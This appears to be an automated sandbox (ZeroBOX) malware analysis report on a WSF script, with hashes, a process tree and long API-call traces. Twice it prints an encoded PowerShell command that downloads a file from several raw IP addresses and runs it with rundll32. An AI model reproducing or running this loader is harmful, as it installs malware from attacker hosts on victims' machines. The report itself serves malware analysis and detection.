popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

RP_April_pJ(8037).wsf

Generic Malware Antivirus AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 7, 2023, 9:26 a.m. April 7, 2023, 9:28 a.m.
Size 175.5KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 37f6eccdb016d869bf3b87e6a8e0cf90
SHA256 eda016fe816019883c6b00417e121fb7ace4ec196113410b9f1fe7b9956b1b26
CRC32 29BB7130
ssdeep 3072:cpGvMt5bag4GwXFPCykkOXD/Q9TbmVxU/dMCtHS17aM0UwD1xV0o50sk4JVRIbpB:ezt554GwJkT80k/feGkxJzvVd8tLNRaZ
Yara
  • Generic_Malware_Zero - Generic Malware

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\RP_April_pJ(8037).wsf

    3056

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwB1AHAAZQByAHAAcgBlAGMAaQBzAGUAbgBlAHMAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA3AC4AMwAwAC8ANQBZAG8AWQBaAHkAUwBhAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4AMgAxAC8ASQBiAHcAMAAwADUARQBlAFkAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAOQAuADEANAA3AC4AMQA3ADcALwBJAFMAagAyAHIAdgA3AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADYAMwAuADYAOQAuADEAMQA2AC8AaAA0AG4ATQB6AEEAUABlADAANgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMAAwAC4AMQA3AC4AMgAwADcALwBWAEsAVgBlADAAZQB4AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADUAOQAuADEANwAwAC4ANAA4AC8AMQBMAEEAVgBxAC4AZABhAHQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABhAHIAYQBmAGYAaQBuAHMAIABpAG4AIAAkAHMAdQBwAGUAcgBwAHIAZQBjAGkAcwBlAG4AZQBzAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAFAAYQByAGEAZgBmAGkAbgBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVABvAGwAegBlAHkAUwB5AG0AcABhAHQAaABpAHEAdQBlAC4AdwBhAHMAaABiAG8AdwBsAEgAbwBnAGEAbgBzACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"

      1784

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bdc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bdc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bdc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bdc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bdc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bdc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd758
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bde18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be258
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004be118
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd898
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd898
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd898
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004bd898
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 589824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02710000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1784
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01faa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1784
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02711000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c25000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c26000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c27000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c28000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c29000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c2a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c2b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c2c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c2d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c2e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c2f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwB1AHAAZQByAHAAcgBlAGMAaQBzAGUAbgBlAHMAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA3AC4AMwAwAC8ANQBZAG8AWQBaAHkAUwBhAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4AMgAxAC8ASQBiAHcAMAAwADUARQBlAFkAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAOQAuADEANAA3AC4AMQA3ADcALwBJAFMAagAyAHIAdgA3AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADYAMwAuADYAOQAuADEAMQA2AC8AaAA0AG4ATQB6AEEAUABlADAANgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMAAwAC4AMQA3AC4AMgAwADcALwBWAEsAVgBlADAAZQB4AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADUAOQAuADEANwAwAC4ANAA4AC8AMQBMAEEAVgBxAC4AZABhAHQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABhAHIAYQBmAGYAaQBuAHMAIABpAG4AIAAkAHMAdQBwAGUAcgBwAHIAZQBjAGkAcwBlAG4AZQBzAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAFAAYQByAGEAZgBmAGkAbgBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVABvAGwAegBlAHkAUwB5AG0AcABhAHQAaABpAHEAdQBlAC4AdwBhAHMAaABiAG8AdwBsAEgAbwBnAGEAbgBzACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
